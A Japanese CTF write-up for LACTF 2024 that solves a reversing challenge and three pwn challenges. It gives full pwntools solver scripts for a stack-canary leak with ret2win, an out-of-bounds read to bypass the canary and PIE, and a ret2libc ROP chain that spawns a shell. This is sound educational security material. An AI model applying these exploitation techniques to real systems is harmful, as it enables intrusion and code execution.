LACTF 2024 - Writeup

# 初めに
本記事はLACTF2024のWriteupになります。
pwnとrevの記事です。
備忘録デス。

https://platform.lac.tf/

![スクリーンショット 2024-03-03 225058.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9543382e-cf85-68f8-f82b-aa3311d8eacb.png)

# rev/aplet321
バイナリが渡されるのでGhidraで見る。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2a6557d8-d33f-5a4d-24fe-1f583684769d.png)
`pretty`の回数が`iVar5`、`please`の回数が`iVar4`になるので、以下が満たされるように連立方程式すればいい。
```c
iVar5 + iVar4 == 0x36
iVar5 - iVar4 == -0x18
```
`Var4 = 39, Var5 = 15`となる。また、`flag`の文字があるかどうかも見ているのでペイロードとしては以下を送ればいい。
```
flagprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettypleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleaseplease
```
![スクリーンショット 2024-02-17 201538.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/16107a0f-ff0d-7d77-54bd-f15ffc0f7b12.png)

# pwn/aplet123
以下コードとバイナリが送られてくる。
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

void print_flag(void) {
  char flag[256];
  FILE *flag_file = fopen("flag.txt", "r");
  fgets(flag, sizeof flag, flag_file);
  puts(flag);
}

const char *const responses[] = {"L",
                                 "amongus",
                                 "true",
                                 "pickle",
                                 "GINKOID",
                                 "L bozo",
                                 "wtf",
                                 "not with that attitude",
                                 "increble",
                                 "based",
                                 "so true",
                                 "monka",
                                 "wat",
                                 "monkaS",
                                 "banned",
                                 "holy based",
                                 "daz crazy",
                                 "smh",
                                 "bruh",
                                 "lol",
                                 "mfw",
                                 "skissue",
                                 "so relatable",
                                 "copium",
                                 "untrue!",
                                 "rolled",
                                 "cringe",
                                 "unlucky",
                                 "lmao",
                                 "eLLe",
                                 "loser!",
                                 "cope",
                                 "I use arch btw"};

int main(void) {
  setbuf(stdout, NULL);
  srand(time(NULL));
  char input[64];
  puts("hello");
  while (1) {
    gets(input);
    char *s = strstr(input, "i'm");
    if (s) {
      printf("hi %s, i'm aplet123\n", s + 4);
    } else if (strcmp(input, "please give me the flag") == 0) {
      puts("i'll consider it");
      sleep(5);
      puts("no");
    } else if (strcmp(input, "bye") == 0) {
      puts("bye");
      break;
    } else {
      puts(responses[rand() % (sizeof responses / sizeof responses[0])]);
    }
  }
}
```
ret2winの問題に見える。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/fa50f0b6-00b5-2b74-5f86-0d99ae3c0752.png)
Canaryが効いているのでBypassのためにCanary leakが必要になる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/e1b3fc9c-f6f5-d9a9-025e-8d706e0aa6a1.png)
入力に対して何やら文字列を返す。さっきのリストから返しているのもあれば条件分岐で`i'm`の次の名前を返すものもある。
リークの脆弱性があるのは以下のコードです。
```c
printf("hi %s, i'm aplet123\n", s + 4);
```
sのポインタから4バイト分先の文字列を返す。また、`printf`はnullがくるまで文字を返すので、このような`aaaa(stackまで一杯)aaaai'm`といったpayloadが考えられる。文字列調整すればCanaryの値がリークできる。
Canaryの先頭は`\x00`であることを考慮して以下の計算ができる。
```
input_buf: 64
canaryまでのバイト: 8

64 + 8 - 4 + 1(canary先頭のnullバイトを避けるため) = 69
```
よって`a`を69個用意してその後ろに`i'm`を乗せればcanaryの後半7バイトリークできる。
大体試すときはPythonのインタプリタモードが役に立つ。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/61ac2610-f469-497a-462f-2bc049d979a6.png)
実際に投入する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/42abc8b3-b0bd-b2fd-7e58-33d5ad0f46e5.png)
canaryリークできてる。これを使ってBypassし、ret2winするだけ。
以下はsolverだ。最後にbyeを打ってloopを抜けることを忘れないようにしないといけない。
```python
from pwn import *

context.log_level = "debug"
context.kernel = "amd64"

binfile = './aplet123'

rhost = 'chall.lac.tf'
rport = 31123


gdb_script = '''
b main
'''

elf = ELF(binfile)
context.binary = elf

def conn():
    if args.REMOTE:
        p = remote(rhost, rport)
    elif args.GDB:
        p = process(elf.path)
        gdb.attach(p, gdbscript=gdb_script)
    else:
        p = process(elf.path)
    return p
  
p = conn()
p.sendlineafter(b'hello', b'a'*69+b"i'm")
p.recvuntil(b'hi ')
canary = b'\x00' + p.recv(7)
p.recvuntil(b'aplet123')

print("canary: " + hex(unpack(canary)))

p.sendline(b'a'*72+ canary + b'a'*8 + pack(elf.symbols['print_flag']))
p.sendline(b'bye')

p.interactive()
```
![スクリーンショット 2024-02-17 222826.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f3a1e61d-3eda-6eac-1157-dca3f5243e9d.png)

# pwn/52-card-monty
以下コードとバイナリが与えられる。
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#define DECK_SIZE 0x52
#define QUEEN 1111111111

void setup() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);

  srand(time(NULL));
}

void win() {
  char flag[256];

  FILE *flagfile = fopen("flag.txt", "r");

  if (flagfile == NULL) {
    puts("Cannot read flag.txt.");
  } else {
    fgets(flag, 256, flagfile);
    flag[strcspn(flag, "\n")] = '\0';
    puts(flag);
  }
}

long lrand() {
  long higher, lower;
  higher = (((long)rand()) << 32);
  lower = (long)rand();
  return higher + lower;
}

void game() {
  int index;
  long leak;
  long cards[52] = {0};
  char name[20];

  for (int i = 0; i < 52; ++i) {
    cards[i] = lrand();
  }

  index = rand() % 52;
  cards[index] = QUEEN;

  printf("==============================\n");

  printf("index of your first peek? ");
  scanf("%d", &index);
  leak = cards[index % DECK_SIZE];
  cards[index % DECK_SIZE] = cards[0];
  cards[0] = leak;
  printf("Peek 1: %lu\n", cards[0]);

  printf("==============================\n");

  printf("index of your second peek? ");
  scanf("%d", &index);
  leak = cards[index % DECK_SIZE];
  cards[index % DECK_SIZE] = cards[0];
  cards[0] = leak;
  printf("Peek 2: %lu\n", cards[0]);

  printf("==============================\n");

  printf("Show me the lady! ");
  scanf("%d", &index);

  printf("==============================\n");

  if (cards[index] == QUEEN) {
    printf("You win!\n");
  } else {
    printf("Just missed. Try again.\n");
  }

  printf("==============================\n");

  printf("Add your name to the leaderboard.\n");
  getchar();
  printf("Name: ");
  fgets(name, 52, stdin);

  printf("==============================\n");

  printf("Thanks for playing, %s!\n", name);
}

int main() {
  setup();
  printf("Welcome to 52-card monty!\n");
  printf("The rules of the game are simple. You are trying to guess which card "
         "is correct. You get two peeks. Show me the lady!\n");
  game();
  return 0;
}
```
これもret2winぽい。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9d78662e-d95a-8cde-8ede-82d224e42b57.png)
これもCanaryリークでのBypass問題かな。
このコードで脆弱なのはこの部分だ
```c
#define DECK_SIZE 0x52
```
`cards`のBufサイズは52なのに対して、`leak = cards[index % DECK_SIZE];`や`cards[index % DECK_SIZE] = cards[0];`で利用しているDECK_SIZEは`0x52`なので、82個分のインデックスが参照できる。
どこにcanaryがあるか53から順番に試すと55にCanaryの文字列があった。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4f9bb80a-5c03-3aea-8be1-02489f52d44f.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0dd4abe3-9e1e-7d61-a8f1-a1d58c250cfb.png)
ここら辺は先頭が`\x00`バイトなのでわかりやすい（リトルエンディアンで逆順）
ただこれで終わりではありません。`PIE`が`ENABLED`なので、`win`の関数のアドレスがローカルで実行時と異なります。以下のようなアドレスは使えません。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ba084d21-5c10-e7a1-1565-569f2b8b689b.png)
なので、元のmainに戻るreturnアドレスを２つ目のリークで見る必要があります。これは57でリークできました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/49a38842-75b7-23e5-dc70-48ea100119bb.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/84d1e28d-d429-3ab7-2c0a-951779cbb4d7.png)
このアドレスをmain関数から探すと以下のように`mov eax,0x0`の部分になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a3b5ed41-c179-c0f1-22b3-c8fd064063e0.png)
相対アドレスは変わらないので`hex(0x000055555555567e - 0x000055555555564e)`した`0x30`分をリークしたアドレスから引けばmain関数のアドレスとなります。同様に`win`関数もすればいいです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1437779d-4323-80e1-8eb8-4538fa2badbe.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/08a3f4e8-283c-fe06-e375-8dbfe370c2df.png)
`0x445`分引けばいいですね。あとはret2winすればいいです。
以下がSolverです。
```python
from pwn import *
import time

context.log_level = "debug"
context.kernel = "amd64"

binfile = './monty'

rhost = 'chall.lac.tf'
rport = 31132


gdb_script = '''
b main
'''

elf = ELF(binfile)
context.binary = elf

def conn():
    if args.REMOTE:
        p = remote(rhost, rport)
    elif args.GDB:
        p = process(elf.path)
        gdb.attach(p, gdbscript=gdb_script)
    else:
        p = process(elf.path)
    return p
  
p = conn()
p.sendlineafter(b'first peek?', b'55')
p.recvuntil(b'Peek 1: ')
canary = int(p.recvline()[:-1].decode())

print("canary:  " + hex(canary))

p.sendlineafter(b'second peek?', b'57')
p.recvuntil(b'Peek 2: ')
main = int(p.recvline()[:-1].decode())
win = main - 0x445

payload = b"a"* 24
payload += pack(canary)
payload += pack(0x7fffffffe150)
payload += pack(win)

p.sendlineafter(b'Show me the lady!', b'1')

p.sendlineafter(b'Name: ', payload)

p.interactive()
```
![スクリーンショット 202011132.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/33a57a82-7e82-588a-480f-ead29909b93b.png)

# pwn/sus
以下のコードと、バイナリ、Dockerfileが渡される。
```c
#include <stdio.h>

void sus(long s) {}

int main(void) {
  setbuf(stdout, NULL);
  long u = 69;
  puts("sus?");
  char buf[42];
  gets(buf);
  sus(u);
}
```
checksecで確認します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/719145f2-ccb9-1d69-31c9-bbb164c7e009.png)
ROP問の匂いがします。とりあえずReturnまでのアドレスを調べます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/601ec0af-e707-1cc3-0201-9b5af7518c8e.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/595d4eba-cb91-06ef-0ceb-3a94a2e975f7.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c57db16e-74c6-9977-c374-5c4fe3da479d.png)
簡易に72バイト分埋めればいいのが分かるので便利ですね。
とりあえずこのアドレスを埋めた後のGadgetを探します。
```bash
┌──(root㉿kali)-[/home/kali/Downloads]
└─# ROPgadget --binary sus              
Gadgets information
============================================================
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010bb : add bh, bh ; loopne 0x401125 ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040119d : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x0000000000401088 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x000000000040119e : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040112a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x000000000040119f : add byte ptr [rax], al ; leave ; ret
0x000000000040108a : add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040112b : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004011a0 : add cl, cl ; ret
0x00000000004010ba : add dil, dil ; loopne 0x401125 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040112c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401127 : add eax, 0x2f03 ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401128 : add ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x0000000000401010 : call rax
0x000000000040114d : clc ; nop ; pop rbp ; ret
0x0000000000401143 : cli ; jmp 0x4010d0
0x0000000000401140 : endbr64 ; jmp 0x4010d0
0x0000000000401149 : in eax, 0x48 ; mov dword ptr [rbp - 8], edi ; nop ; pop rbp ; ret
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010b5 : je 0x4010c0 ; mov edi, 0x404028 ; jmp rax
0x00000000004010f7 : je 0x401100 ; mov edi, 0x404028 ; jmp rax
0x000000000040114c : jge 0x401146 ; nop ; pop rbp ; ret
0x000000000040103b : jmp 0x401020
0x0000000000401144 : jmp 0x4010d0
0x00000000004010bc : jmp rax
0x00000000004011a1 : leave ; ret
0x00000000004010bd : loopne 0x401125 ; nop ; ret
0x0000000000401126 : mov byte ptr [rip + 0x2f03], 1 ; pop rbp ; ret
0x000000000040114b : mov dword ptr [rbp - 8], edi ; nop ; pop rbp ; ret
0x000000000040119c : mov eax, 0 ; leave ; ret
0x0000000000401148 : mov ebp, esp ; mov qword ptr [rbp - 8], rdi ; nop ; pop rbp ; ret
0x00000000004010b7 : mov edi, 0x404028 ; jmp rax
0x0000000000401052 : mov edx, 0x6800002f ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040114a : mov qword ptr [rbp - 8], rdi ; nop ; pop rbp ; ret
0x0000000000401147 : mov rbp, rsp ; mov qword ptr [rbp - 8], rdi ; nop ; pop rbp ; ret
0x000000000040114e : nop ; pop rbp ; ret
0x00000000004010bf : nop ; ret
0x000000000040113c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010d0
0x000000000040108c : nop dword ptr [rax] ; ret
0x00000000004010b6 : or dword ptr [rdi + 0x404028], edi ; jmp rax
0x000000000040112d : pop rbp ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401056 : push 2 ; jmp 0x401020
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004010b8 : sub byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401125 ; nop ; ret
0x00000000004011a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010b3 : test eax, eax ; je 0x4010c0 ; mov edi, 0x404028 ; jmp rax
0x00000000004010f5 : test eax, eax ; je 0x401100 ; mov edi, 0x404028 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax

Unique gadgets found: 65
```
何もなさすぎます。何も組めない。
まぁ次はシンボル見てみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/fba0cd96-5b86-376c-5e4b-7b0f00b1258f.png)
使えるのはこんな感じ。libcからリークする感じかな？といってもレジストリに値叩き込めないし、スタック実行も禁止されてるしどうするん？

とりあえずlibcリークのためにlibcを取ってきたいので、Dockerファイルの中身を見ます。
```dockerfile
FROM pwn.red/jail

COPY --from=debian@sha256:36a9d3bcaaec706e27b973bb303018002633fd3be7c2ac367d174bafce52e84e / /srv
COPY sus /srv/app/run
COPY flag.txt /srv/app/flag.txt
RUN chmod 755 /srv/app/run
```
マルチステージビルドみたいなことしてる。
なので使用している共有ライブラリは普通の階層にないです。`/srv`階層にいます。
dockerビルドとマウントして取り出します。
```bash
docker build -t sus .
docker run -v /home/kali/Downloads/app:/home -it sus /bin/sh
```
以下の階層から引っ張ってきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a9729d6d-378f-8764-3c78-8449a2163015.png)
```bash
/srv/lib/x86_64-linux-gnu # cp libc.so.6 /home/
/srv/lib/x86_64-linux-gnu # cp ld-linux-x86-64.so.2 /home/
/srv/lib/x86_64-linux-gnu # 
```
このライブラリを使用するためにパッチを当てます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4ac374aa-cc80-2974-e631-515dcf55dc0c.png)

ここからバイナリコネコネ遊戯を開始する。何も思いつかないので動的解析します。
`ret`直前の状態を調べるために8バイトずつ叩き込みました。
![スクリーンショット 2024-03-04 214553.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a2eab749-34c1-4816-7e3f-3e371b873a82.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/85e44729-79a7-2848-8c47-3ca26f8ab4ac.png)
`RDI`と`RSI`に入力文字が入っているのが分かる。
なので引数はスタックに積む方針で良さそう。
後は`put`からlibcのアドレスリークさせて`main`を再度実行させて、libcから`system`を呼び出す。
以下がSolverだ。
```python
from pwn import *

context.log_level = "debug"

binfile = './sus_patched'

rhost = 'chall.lac.tf'
rport = 31284

gdb_script = '''
b main
'''

elf = ELF(binfile)
context.binary = elf
libc = elf.libc


def conn():
    if args.REMOTE:
        p = remote(rhost, rport)
    elif args.GDB:
        p = process(elf.path)
        gdb.attach(p, gdbscript=gdb_script)
    else:
        p = process(elf.path)
    return p

ret = 0x0000000000401016

p = conn()

rop=ROP(elf)
rop.raw(b'A'*8)
rop.raw(b'B'*8)
rop.raw(b'C'*8)
rop.raw(b'D'*8)
rop.raw(b'E'*8)
rop.raw(b'F'*8)
rop.raw(b'\x00'*8) #RSI
rop.raw(pack(elf.got['setbuf'])) #RDI
rop.raw(b'I'*8) #RBP
rop.raw(pack(elf.sym['puts']))
rop.raw(pack(elf.sym['main']))

p.sendlineafter(b'sus?\n', rop.chain())
setbuf =  unpack(p.recvline()[:-1].ljust(8, b'\x00'))
print("setbuf: " + hex(setbuf))

libc.address = setbuf - libc.symbols.setbuf
print(hex(libc.address))

rop2=ROP(libc)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8) #RSI
rop2.raw(next(libc.search(b'/bin/sh\x00'))) #RDI
rop2.raw(b'\x00'*8) #RBP
rop2.raw(pack(ret))
rop2.raw(pack(libc.sym['system']))

p.sendlineafter(b'sus?\n', rop2.chain())

p.interactive()
```
Stack調整で`ret`を挟んでます。本番はlibc間違って死にました。
![スクリーンショット 2024-02-19 110618.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/edf99f4f-c112-c8ff-3b0e-2411837a603a.png)